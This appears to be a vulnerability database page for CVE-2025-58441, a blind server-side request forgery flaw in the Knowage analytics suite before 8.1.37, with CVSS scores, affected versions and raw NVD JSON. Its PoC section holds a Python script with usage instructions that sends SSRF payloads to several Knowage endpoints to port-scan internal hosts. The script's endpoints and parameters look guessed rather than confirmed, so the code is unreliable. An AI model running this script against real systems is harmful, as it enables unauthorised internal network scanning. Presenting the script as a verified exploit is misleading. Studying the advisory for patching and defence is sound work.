Security Vulnerability Report
中文
CVE-2025-58441 CVSS 6.5 MEDIUM

CVE-2025-58441

Published: 2026-01-07 18:15:49
Last Modified: 2026-02-03 16:46:15

Description

Knowage is an open source analytics and business intelligence suite. Prior to version 8.1.37, there is a blind server-side request forgery vulnerability. The vulnerability allows attackers to send requests to arbitrary hosts/paths. Since the attacker is not able to read the response, the impact of this vulnerability is limited. However, an attacker should be able to leverage this vulnerability to scan the internal network. This issue has been patched in version 8.1.37.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:eng:knowage:*:*:*:*:*:*:*:* - VULNERABLE
Knowage < 8.1.37

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import time # CVE-2025-58441 Blind SSRF PoC for Knowage < 8.1.37 # This PoC demonstrates how an attacker can use the SSRF to scan internal ports def check_ssrf(url, target_host, target_port): """ Test if the Knowage server can be tricked into making requests to internal hosts """ # Construct the malicious URL with the SSRF payload ssrf_payload = f"http://{target_host}:{target_port}" # Common endpoints that might be vulnerable endpoints = [ "/api/1.0/widgets/execute", "/restful-services/2.0/crossNavigation", "/knowage/api/1.0/datasets", ] for endpoint in endpoints: try: # Try to trigger SSRF through various parameters params = { "url": ssrf_payload, "dataSource": ssrf_payload, } start_time = time.time() response = requests.post(url + endpoint, data=params, timeout=5) elapsed_time = time.time() - start_time # If connection times out or fails, port might be closed if elapsed_time > 3: print(f"[*] {endpoint}: Port {target_port} on {target_host} might be filtered or closed") else: print(f"[!] {endpoint}: Response received from {target_host}:{target_port} (time: {elapsed_time:.2f}s)") except requests.exceptions.Timeout: print(f"[*] {endpoint}: Connection to {target_host}:{target_port} timed out") except requests.exceptions.ConnectionError: print(f"[*] {endpoint}: Cannot connect to {target_host}:{target_port}") except Exception as e: print(f"[!] {endpoint}: Error - {str(e)}") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python poc.py <knowage_url> <target_host> <start_port> <end_port>") print("Example: python poc.py http://target.com 127.0.0.1 1 1000") sys.exit(1) target_url = sys.argv[1] target_host = sys.argv[2] start_port = int(sys.argv[3]) end_port = int(sys.argv[4]) print(f"[*] Scanning {target_host} ports {start_port}-{end_port} via SSRF...") for port in range(start_port, end_port + 1): check_ssrf(target_url, target_host, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58441", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:49.313", "lastModified": "2026-02-03T16:46:15.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Knowage is an open source analytics and business intelligence suite. Prior to version 8.1.37, there is a blind server-side request forgery vulnerability. The vulnerability allows attackers to send requests to arbitrary hosts/paths. Since the attacker is not able to read the response, the impact of this vulnerability is limited. However, an attacker should be able to leverage this vulnerability to scan the internal network. This issue has been patched in version 8.1.37."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eng:knowage:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.1.37", "matchCriteriaId": "3F3D09F9-8ADE-48DC-B7CF-5DDE866D830D"}]}]}], "references": [{"url": "https://github.com/KnowageLabs/Knowage-Server/security/advisories/GHSA-m6x8-wh9v-6jxp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}